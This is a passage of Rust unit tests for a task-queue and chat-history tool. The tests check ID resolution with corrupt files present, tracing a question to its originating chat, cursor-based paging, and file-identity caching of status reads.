25381            let var = format!("--verdict-{key}:");
25382            // Light, OS-dark and pinned-dark blocks each define it.
25383            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25384            assert!(
25385                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25386                "{key}"
25387            );
25388        }
25389    }
25390
25391    #[tokio::test]
25392    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25393        let dir = tempfile::tempdir().expect("tempdir");
25394        let queue = Queue::at(dir.path().join("queue"));
25395        let talks = Talks::at(dir.path().join("talks"));
25396        std::fs::create_dir_all(queue.root()).unwrap();
25397        std::fs::create_dir_all(talks.root()).unwrap();
25398
25399        // Put a corrupt json file in both stores
25400        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25401        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25402
25403        // Valid task and talk
25404        let mut task = Task::new(
25405            "title".into(),
25406            "inst".into(),
25407            PathBuf::from("/repo"),
25408            Source::Human,
25409        );
25410        task.id = "20261019-123456-abcd".into();
25411        // Write manually so it's a valid file
25412        std::fs::write(
25413            queue.path_of(&task.id),
25414            serde_json::to_string(&task).unwrap(),
25415        )
25416        .unwrap();
25417
25418        let talk_id = "20261019-234567-cdef";
25419        seed_talk_at(&talks, talk_id, "open");
25420
25421        // Exact match should succeed without failing on the corrupt json file
25422        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25423        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25424
25425        // Prefix match should also succeed by scanning file names without deserializing corrupt file
25426        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25427        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25428    }
25429
25430    #[tokio::test]
25431    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25432        let home = tempfile::tempdir().unwrap();
25433        let ui = delta_test_ui(home.path());
25434        // A full history traversal would fail even with no questions.
25435        std::fs::write(ui.queue.root(), "not a directory").unwrap();
25436        std::fs::write(ui.talks.root(), "not a directory").unwrap();
25437        assert!(
25438            questions_list(State(ui.clone()))
25439                .await
25440                .unwrap()
25441                .0
25442                .is_empty()
25443        );
25444        assert!(
25445            question_origins(State(ui.clone()))
25446                .await
25447                .unwrap()
25448                .0
25449                .is_empty()
25450        );
25451        let mut question = Question::new(
25452            "run-history".into(),
25453            "review".into(),
25454            "seat".into(),
25455            "Useful question".into(),
25456            "Useful detail".into(),
25457            vec![],
25458        );
25459        ui.questions.put(&mut question).unwrap();
25460        let core = questions_core(State(ui.clone())).await.unwrap().0;
25461        assert_eq!(core.len(), 1);
25462        assert_eq!(core[0].question.summary, "Useful question");
25463        assert!(!core[0].can_consult_chat);
25464        assert!(core[0].origin_chat.is_none());
25465        assert_eq!(core[0].record_revision, question_record_revision(&question));
25466        assert!(question_origins(State(ui.clone())).await.is_err());
25467        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25468    }
25469
25470    #[tokio::test]
25471    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25472        let home = tempfile::tempdir().unwrap();
25473        let ui = delta_test_ui(home.path());
25474        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25475        let mut parent = Task::new(
25476            "parent".into(),
25477            "body".into(),
25478            PathBuf::from("/repo"),
25479            Source::Agent {
25480                run: chat.clone(),
25481                node: crate::queue::CHAT_NODE.into(),
25482            },
25483        );
25484        parent.id = "parent-task".into();
25485        parent.runs = vec!["parent-run".into()];
25486        ui.queue.put(&mut parent).unwrap();
25487        let mut previous = parent;
25488        for generation in 1..=2 {
25489            let mut child = Task::new(
25490                "child".into(),
25491                "body".into(),
25492                PathBuf::from("/repo"),
25493                Source::Human,
25494            );
25495            child.id = format!("child-task-{generation}");
25496            child.runs = vec![format!("child-run-{generation}")];
25497            child.followup = Some(crate::queue::FollowUp {
25498                origin_task: Some(previous.id.clone()),
25499                run: previous.runs[0].clone(),
25500                pr: String::new(),
25501                findings: vec![],
25502                generation,
25503            });
25504            ui.queue.put(&mut child).unwrap();
25505            previous = child;
25506        }
25507        // A run may have the same spelling as another task's id; its owner
25508        // must not override a typed task reference.
25509        let mut collision = Task::new(
25510            "collision".into(),
25511            String::new(),
25512            PathBuf::from("/repo"),
25513            Source::Human,
25514        );
25515        collision.id = "collision-task".into();
25516        collision.runs = vec![previous.id.clone()];
25517        ui.queue.put(&mut collision).unwrap();
25518        let mut questions = Vec::new();
25519        for (node, reference, expected, eligible) in [
25520            (crate::triage::NODE, previous.id.as_str(), true, false),
25521            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25522            ("review", previous.runs[0].as_str(), true, true),
25523            (
25524                crate::bump::NOTICE_NODE,
25525                previous.runs[0].as_str(),
25526                true,
25527                false,
25528            ),
25529            // Identical text in the wrong reference namespace is not evidence.
25530            ("review", previous.id.as_str(), false, false),
25531            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25532            ("review", "unrelated", false, false),
25533        ] {
25534            let mut q = Question::new(
25535                reference.into(),
25536                node.into(),
25537                "seat".into(),
25538                "Question".into(),
25539                String::new(),
25540                vec![],
25541            );
25542            ui.questions.put(&mut q).unwrap();
25543            questions.push((q, expected, eligible));
25544        }
25545        for (node, reference, associated, eligible) in [
25546            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25547            (
25548                crate::reconcile::NODE,
25549                previous.runs[0].as_str(),
25550                false,
25551                true,
25552            ),
25553            ("implement", previous.id.as_str(), false, false),
25554        ] {
25555            let mut q = Question::new(
25556                reference.into(),
25557                node.into(),
25558                crate::reconcile::SEAT.into(),
25559                "Reconcile".into(),
25560                String::new(),
25561                vec![],
25562            );
25563            ui.questions.put(&mut q).unwrap();
25564            questions.push((q, associated, eligible));
25565        }
25566        let mut release = Question::new(
25567            "release-record".into(),
25568            crate::bump::NOTICE_NODE.into(),
25569            "release-watch".into(),
25570            "Release".into(),
25571            String::new(),
25572            vec![],
25573        );
25574        ui.questions.put(&mut release).unwrap();
25575        let watch = crate::release_watch::WatchState {
25576            question: Some(release.id.clone()),
25577            run: Some(previous.runs[0].clone()),
25578            held_task: Some(previous.id.clone()),
25579            ..Default::default()
25580        };
25581        let watch_dir = home.path().join("release-watch");
25582        std::fs::create_dir_all(&watch_dir).unwrap();
25583        let watch_path = watch_dir.join("watch.json");
25584        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25585        // Ordinary questions and bump notices do not need watch-store I/O.
25586        for batch in [
25587            Vec::new(),
25588            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25589        ] {
25590            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25591            assert!(watches.is_empty());
25592        }
25593        questions.push((release.clone(), true, false));
25594
25595        let views = questions_list(State(ui.clone())).await.unwrap().0;
25596        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25597        for (q, associated, eligible) in &questions {
25598            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25599            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25600            let expected = associated.then_some(chat.as_str());
25601            assert_eq!(
25602                view.origin_chat.as_deref(),
25603                expected,
25604                "{} {}",
25605                q.node,
25606                q.run
25607            );
25608            assert_eq!(origin.origin_chat.as_deref(), expected);
25609            assert_eq!(view.origin_chat_closed, *associated);
25610            assert_eq!(origin.origin_chat_closed, *associated);
25611            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25612            assert_eq!(origin.can_consult_chat, *eligible);
25613        }
25614        // Either saved link independently recovers a release question's owner.
25615        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25616            let link = crate::release_watch::WatchState {
25617                run,
25618                held_task,
25619                ..watch.clone()
25620            };
25621            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25622            let (tasks, talks, watches) =
25623                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25624            assert_eq!(
25625                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25626                    .unwrap()
25627                    .id,
25628                chat,
25629            );
25630            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25631        }
25632        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25633        // Even identical duplicate records are ambiguous: ignore their links.
25634        let duplicate_path = watch_dir.join("duplicate.json");
25635        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25636        let (tasks, talks, watches) =
25637            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25638        assert!(
25639            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25640                .is_none()
25641        );
25642        std::fs::remove_file(duplicate_path).unwrap();
25643        // Another explicit owner is a conflict even if it has no chat.
25644        let mut unrelated = Task::new(
25645            "other".into(),
25646            String::new(),
25647            PathBuf::from("/repo"),
25648            Source::Human,
25649        );
25650        unrelated.id = "unrelated-task".into();
25651        ui.queue.put(&mut unrelated).unwrap();
25652        let mut conflicting = watch.clone();
25653        conflicting.held_task = Some(unrelated.id);
25654        std::fs::write(
25655            watch_dir.join("conflict.json"),
25656            serde_json::to_vec(&conflicting).unwrap(),
25657        )
25658        .unwrap();
25659        let (tasks, talks, watches) =
25660            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25661        assert!(
25662            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25663                .is_none()
25664        );
25665        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25666        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25667        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25668            assert!(origin.origin_chat.is_none());
25669            assert!(!origin.origin_chat_closed);
25670        }
25671    }
25672
25673    #[test]
25674    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25675        let home = tempfile::tempdir().unwrap();
25676        let ui = delta_test_ui(home.path());
25677        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25678        for i in 0..1000 {
25679            let mut task = Task::new(
25680                "unrelated".into(),
25681                "instruction ".repeat(256),
25682                PathBuf::from("/repo"),
25683                Source::Human,
25684            );
25685            task.id = format!("history-{i:04}");
25686            ui.queue.put(&mut task).unwrap();
25687            let id = seed_talk_at(&ui.talks, &task.id, "open");
25688            let mut talk = ui.talks.get(&id).unwrap();
25689            talk.pending = "history ".repeat(256);
25690            ui.talks.put(&mut talk).unwrap();
25691        }
25692        let mut parent = Task::new(
25693            "parent".into(),
25694            "body".into(),
25695            PathBuf::from("/repo"),
25696            Source::Agent {
25697                run: chat_id.clone(),
25698                node: crate::queue::CHAT_NODE.into(),
25699            },
25700        );
25701        parent.id = "task-parent".into();
25702        parent.runs = vec!["run-parent".into()];
25703        ui.queue.put(&mut parent).unwrap();
25704        let mut child = Task::new(
25705            "child".into(),
25706            "body".into(),
25707            PathBuf::from("/repo"),
25708            Source::Human,
25709        );
25710        child.id = "task-child".into();
25711        child.runs = vec!["run-child".into()];
25712        child.followup = Some(crate::queue::FollowUp {
25713            run: "run-parent".into(),
25714            origin_task: Some(parent.id.clone()),
25715            pr: "https://example.invalid/pr/1".into(),
25716            findings: vec![],
25717            generation: 1,
25718        });
25719        ui.queue.put(&mut child).unwrap();
25720        let mut question = Question::new(
25721            child.id.clone(),
25722            crate::conduct::NODE.into(),
25723            "seat".into(),
25724            "Continue?".into(),
25725            String::new(),
25726            vec![],
25727        );
25728        let (tasks, talks, _watches) =
25729            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25730        assert_eq!(tasks.len(), 2);
25731        assert_eq!(talks.len(), 1);
25732        assert_eq!(
25733            ui.monitor.queue_index.lock().unwrap().reparsed,
25734            0,
25735            "exact ancestry bypasses the index"
25736        );
25737        assert_eq!(
25738            crate::consult::origin_talk(&tasks, &talks, &question)
25739                .unwrap()
25740                .id,
25741            chat_id
25742        );
25743        question.run = "run-child".into();
25744        question.node = "review".into();
25745        for origin_task in [Some(parent.id.clone()), None] {
25746            child.followup.as_mut().unwrap().origin_task = origin_task;
25747            ui.queue.put(&mut child).unwrap();
25748            let (tasks, talks, _watches) =
25749                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25750            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25751            let expected =
25752                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25753                    .unwrap();
25754            assert_eq!(actual.id, expected.id);
25755            assert!(!actual.status.open());
25756            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25757            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25758            // Without Unix file identity, every readable record must be
25759            // reparsed to detect same-size, same-mtime replacements safely.
25760            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25761            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25762        }
25763        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25764        ui.queue.put(&mut child).unwrap();
25765        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25766        let (tasks, talks, _watches) =
25767            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25768        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25769        child.origin_chat = Some(chat_id.clone());
25770        ui.queue.put(&mut child).unwrap();
25771        let (tasks, talks, _watches) =
25772            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25773        assert_eq!(
25774            crate::consult::origin_talk(&tasks, &talks, &question)
25775                .unwrap()
25776                .id,
25777            chat_id
25778        );
25779        let revision = question_record_revision(&question);
25780        question.abandon("settled elsewhere");
25781        assert_ne!(revision, question_record_revision(&question));
25782        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25783        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25784        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25785        let (tasks, talks, _watches) =
25786            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25787        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25788    }
25789
25790    #[test]
25791    fn list_cursors_freeze_membership_and_expire_explicitly() {
25792        let home = tempfile::tempdir().unwrap();
25793        let ui = delta_test_ui(home.path());
25794        std::fs::create_dir_all(ui.queue.root()).unwrap();
25795        for i in 0..40 {
25796            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25797        }
25798        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25799        assert_eq!(first.len(), STORE_PAGE_SIZE);
25800        let cursor = cursor.unwrap();
25801        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25802        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25803        let (second, _) = page_ids(
25804            &ui,
25805            false,
25806            PageQuery {
25807                before: Some(cursor.clone()),
25808            },
25809        )
25810        .unwrap();
25811        assert_eq!(second[0], "record-0023");
25812        assert!(second.iter().all(|id| !first.contains(id)));
25813        assert!(
25814            page_ids(
25815                &ui,
25816                true,
25817                PageQuery {
25818                    before: Some(cursor.clone())
25819                }
25820            )
25821            .is_err()
25822        );
25823        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25824        assert_eq!(fresh[0], "record-9999");
25825        ui.monitor.list_walks.lock().unwrap().clear();
25826        assert!(
25827            page_ids(
25828                &ui,
25829                false,
25830                PageQuery {
25831                    before: Some(cursor)
25832                }
25833            )
25834            .is_err()
25835        );
25836    }
25837
25838    #[tokio::test]
25839    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25840        let home = tempfile::tempdir().unwrap();
25841        let ui = delta_test_ui(home.path());
25842        // Every closed conversation is newer by ID than every open conversation.
25843        for i in 0..23 {
25844            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25845        }
25846        for i in 0..45 {
25847            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25848        }
25849        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25850        let first = talks_page(
25851            State(ui.clone()),
25852            Query(PageQuery::default()),
25853            header::HeaderMap::new(),
25854        )
25855        .await
25856        .unwrap()
25857        .0;
25858        assert_eq!(
25859            first.rows.iter().filter(|row| row.status.open()).count(),
25860            23
25861        );
25862        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25863        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25864        let parsed = ui
25865            .monitor
25866            .talk_parses
25867            .load(std::sync::atomic::Ordering::Relaxed);
25868        assert_eq!(
25869            parsed,
25870            first.rows.len(),
25871            "closed bodies outside this page are not restored"
25872        );
25873        let fresh = talks_page(
25874            State(ui.clone()),
25875            Query(PageQuery::default()),
25876            header::HeaderMap::new(),
25877        )
25878        .await
25879        .unwrap()
25880        .0;
25881        assert_eq!(fresh.rows.len(), first.rows.len());
25882        assert_eq!(
25883            ui.monitor
25884                .talk_parses
25885                .load(std::sync::atomic::Ordering::Relaxed),
25886            parsed
25887        );
25888        let mut seen: std::collections::HashSet<_> =
25889            first.rows.iter().map(|row| row.id.clone()).collect();
25890        // Status changes keep their original membership position until refresh.
25891        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25892        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25893        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25894        let mut next = first.next;
25895        while let Some(cursor) = next {
25896            let page = talks_page(
25897                State(ui.clone()),
25898                Query(PageQuery {
25899                    before: Some(cursor),
25900                }),
25901                header::HeaderMap::new(),
25902            )
25903            .await
25904            .unwrap()
25905            .0;
25906            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25907            for row in page.rows {
25908                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25909            }
25910            next = page.next;
25911        }
25912        let expected: HashSet<_> = (0..23)
25913            .map(|i| format!("20260101-000000-{i:03}"))
25914            .chain(
25915                (0..45)
25916                    .filter(|i| *i != 1)
25917                    .map(|i| format!("20261019-000000-{i:03}")),
25918            )
25919            .collect();
25920        assert_eq!(
25921            seen, expected,
25922            "the cursor walk must return every surviving ID"
25923        );
25924        let refreshed = talks_page(
25925            State(ui.clone()),
25926            Query(PageQuery::default()),
25927            header::HeaderMap::new(),
25928        )
25929        .await
25930        .unwrap()
25931        .0;
25932        assert_eq!(
25933            refreshed
25934                .rows
25935                .iter()
25936                .filter(|row| row.status.open())
25937                .count(),
25938            23
25939        );
25940        assert!(
25941            refreshed
25942                .rows
25943                .iter()
25944                .any(|row| row.id == "20261019-000000-000")
25945        );
25946        assert!(
25947            !refreshed
25948                .rows
25949                .iter()
25950                .any(|row| row.id == "20260101-000000-000")
25951        );
25952    }
25953
25954    #[test]
25955    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25956        let home = tempfile::tempdir().unwrap();
25957        let ui = delta_test_ui(home.path());
25958        for i in 0..STORE_PAGE_SIZE + 5 {
25959            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25960        }
25961        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25962        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25963        assert!(next.is_none());
25964    }
25965
25966    #[test]
25967    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25968        struct Counted<R> {
25969            inner: R,
25970            bytes: usize,
25971        }
25972        impl<R: std::io::Read> std::io::Read for Counted<R> {
25973            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25974                let n = self.inner.read(buf)?;
25975                self.bytes += n;
25976                Ok(n)
25977            }
25978        }
25979        let home = tempfile::tempdir().unwrap();
25980        let ui = delta_test_ui(home.path());
25981        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25982        let mut chat = ui.talks.get(&id).unwrap();
25983        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25984            chat.turns = vec![
25985                serde_json::from_value(serde_json::json!({
25986                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25987                }))
25988                .unwrap(),
25989            ];
25990            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25991                chat.status = status;
25992                // Exercise the actual on-disk serializer, including its field order.
25993                let body = serde_json::to_vec_pretty(&chat).unwrap();
25994                let mut reader = Counted {
25995                    inner: body.as_slice(),
25996                    bytes: 0,
25997                };
25998                assert_eq!(read_talk_status(&mut reader), Some(status));
25999                assert!(
26000                    reader.bytes <= 1024,
26001                    "header classification read {} bytes",
26002                    reader.bytes
26003                );
26004            }
26005        }
26006        // Noncanonical field order must neither traverse a transcript nor hide
26007        // an open row. Its real status is validated by the ordinary row reader.
26008        let noncanonical = format!(
26009            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
26010            "x".repeat(1024 * 1024)
26011        );
26012        let mut reader = Counted {
26013            inner: noncanonical.as_bytes(),
26014            bytes: 0,
26015        };
26016        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26017        assert!(reader.bytes <= 1024);
26018        let oversized = format!(
26019            r#"{{"agent":"{}","status":"open"}}"#,
26020            "x".repeat(128 * 1024)
26021        );
26022        let mut reader = Counted {
26023            inner: oversized.as_bytes(),
26024            bytes: 0,
26025        };
26026        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
26027        assert!(reader.bytes <= 64 * 1024);
26028    }
26029
26030    #[test]
26031    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
26032        let home = tempfile::tempdir().unwrap();
26033        let ui = delta_test_ui(home.path());
26034        seed_talk_at(&ui.talks, "header-chat", "open");
26035        std::fs::create_dir_all(ui.queue.root()).unwrap();
26036        let (started, ready) = std::sync::mpsc::channel();
26037        let (release, wait) = std::sync::mpsc::channel();
26038        let chat_ui = ui.clone();
26039        let scan = std::thread::spawn(move || {
26040            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
26041                started.send(()).unwrap();
26042                wait.recv().unwrap();
26043                open_talk_ids(ui, ids)
26044            })
26045            .unwrap()
26046        });
26047        ready.recv_timeout(Duration::from_secs(2)).unwrap();
26048        let (finished, result) = std::sync::mpsc::channel();
26049        let queue = std::thread::spawn(move || {
26050            finished
26051                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
26052                .unwrap();
26053        });
26054        let completed = result.recv_timeout(Duration::from_secs(2));
26055        // Release and join both workers even if the regression returns.
26056        release.send(()).unwrap();
26057        scan.join().unwrap();
26058        queue.join().unwrap();
26059        assert!(
26060            completed.unwrap(),
26061            "queue paging must not wait for chat header I/O"
26062        );
26063    }
26064
26065    #[test]
26066    fn talk_status_projection_does_not_cache_files_changed_during_read() {
26067        let home = tempfile::tempdir().unwrap();
26068        let ui = delta_test_ui(home.path());
26069        let ids = vec!["changing-chat".to_owned()];
26070        seed_talk_at(&ui.talks, &ids[0], "closed");
26071        assert!(open_talk_ids(&ui, &ids).is_empty());
26072        seed_talk_at(&ui.talks, &ids[0], "open");
26073        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
26074            let value: serde_json::Value =
26075                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
26076            // Replace the file after parsing, before its identity is checked again.
26077            seed_talk_at(&ui.talks, &ids[0], "closed");
26078            serde_json::from_value(value["status"].clone()).ok()
26079        });
26080        assert!(open.contains(&ids[0]));
26081        assert!(
26082            ui.monitor
26083                .talk_status_index
26084                .lock()
26085                .unwrap()
26086                .records
26087                .is_empty()
26088        );
26089        assert!(open_talk_ids(&ui, &ids).is_empty());
26090        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
26091    }
26092
26093    #[test]
26094    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
26095        let home = tempfile::tempdir().unwrap();
26096        let ui = delta_test_ui(home.path());
26097        let ids = vec!["same-stamp-chat".to_owned()];
26098        seed_talk_at(&ui.talks, &ids[0], "open");
26099        // Model a non-Unix metadata collision deterministically: the old
26100        // classification has a fingerprint equal to the current file's.
26101        ui.monitor.talk_status_index.lock().unwrap().records.insert(
26102            ids[0].clone(),
26103            (
26104                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
26105                Some(talk::TalkStatus::Closed),
26106            ),
26107        );
26108        let open = open_talk_ids_with(&ui, &ids, false, |path| {
26109            std::fs::File::open(path).ok().and_then(read_talk_status)
26110        });
26111        assert!(
26112            open.contains(&ids[0]),
26113            "an untrusted cache hit must still read the current header"
26114        );
26115        assert!(
26116            ui.monitor
26117                .talk_status_index
26118                .lock()
26119                .unwrap()
26120                .records
26121                .is_empty()
26122        );
26123        seed_talk_at(&ui.talks, &ids[0], "closed");
26124        assert!(
26125            open_talk_ids_with(&ui, &ids, false, |path| {
26126                std::fs::File::open(path).ok().and_then(read_talk_status)
26127            })
26128            .is_empty()
26129        );
26130        let index = ui.monitor.talk_status_index.lock().unwrap();
26131        assert_eq!(index.parses, 2);
26132        assert!(
26133            index.records.is_empty(),
26134            "untrusted fingerprints must never publish cache entries"
26135        );
26136    }
26137
26138    #[test]
26139    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
26140        let home = tempfile::tempdir().unwrap();
26141        let ui = delta_test_ui(home.path());
26142        let headers = header::HeaderMap::new();
26143        seed_talk_at(&ui.talks, "open-chat", "open");
26144        seed_talk_at(&ui.talks, "closed-chat", "closed");
26145        talk_rows(
26146            &ui,
26147            vec!["open-chat".into(), "closed-chat".into()],
26148            &headers,
26149        );
26150        {
26151            let mut index = ui.monitor.talk_index.lock().unwrap();
26152            let closed = index["closed-chat"].1.clone();
26153            for i in 0..1000 {
26154                index.insert(
26155                    format!("cached-closed-{i}"),
26156                    (
26157                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
26158                        closed.clone(),
26159                    ),
26160                );
26161            }
26162        }
26163        assert_eq!(
26164            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
26165            1
26166        );
26167        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
26168        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26169        assert_eq!(
26170            ui.monitor
26171                .talk_parses
26172                .load(std::sync::atomic::Ordering::Relaxed),
26173            2
26174        );
26175        {
26176            let mut index = ui.monitor.talk_index.lock().unwrap();
26177            let open = index["open-chat"].1.clone();
26178            for i in 0..1000 {
26179                index.insert(
26180                    format!("cached-open-{i}"),
26181                    (
26182                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
26183                        open.clone(),
26184                    ),
26185                );
26186            }
26187        }
26188        // Even when open rows exceed the bound, keep the currently requested rows.
26189        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
26190        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
26191        assert_eq!(
26192            ui.monitor
26193                .talk_parses
26194                .load(std::sync::atomic::Ordering::Relaxed),
26195            2
26196        );
26197    }
26198
26199    #[test]
26200    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
26201        let home = tempfile::tempdir().unwrap();
26202        let ui = delta_test_ui(home.path());
26203        std::fs::create_dir_all(ui.talks.root()).unwrap();
26204        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
26205        for id in &ids {
26206            std::fs::write(
26207                ui.talks.path_of(id),
26208                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
26209            )
26210            .unwrap();
26211        }
26212        assert!(open_talk_ids(&ui, &ids).is_empty());
26213        assert_eq!(
26214            ui.monitor.talk_status_index.lock().unwrap().parses,
26215            ids.len()
26216        );
26217        assert!(open_talk_ids(&ui, &ids).is_empty());
26218        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
26219        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
26220        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
26221        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
26222        assert_eq!(
26223            open_talk_ids(&ui, &ids),
26224            std::collections::HashSet::from([ids[0].clone()])
26225        );
26226        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
26227        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
26228        assert_eq!(parsed, reused + refreshed);
26229        open_talk_ids(&ui, &ids);
26230        assert_eq!(
26231            ui.monitor.talk_status_index.lock().unwrap().parses,
26232            parsed + if cfg!(unix) { 0 } else { ids.len() },
26233            "only reliable file identity permits caching, including unreadable rows"
26234        );
26235        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
26236        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
26237        assert!(
26238            !ui.monitor
26239                .talk_status_index
26240                .lock()
26241                .unwrap()
26242                .records
26243                .contains_key(&ids[0])
26244        );
26245        assert!(
26246            ui.monitor.talk_index.lock().unwrap().is_empty(),
26247            "classification never caches bodies"
26248        );
26249    }
26250
26251    #[tokio::test]
26252    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
26253        let home = tempfile::tempdir().unwrap();
26254        let ui = delta_test_ui(home.path());
26255        let mut task = Task::new(
26256            "task".into(),
26257            "body".into(),
26258            PathBuf::from("/repo"),
26259            Source::Human,
26260        );
26261        ui.queue.put(&mut task).unwrap();
26262        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26263        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26264        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
26265        let expected = parsed + usize::from(!cfg!(unix));
26266        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26267        task.status = crate::queue::TaskStatus::Held;
26268        ui.queue.put(&mut task).unwrap();
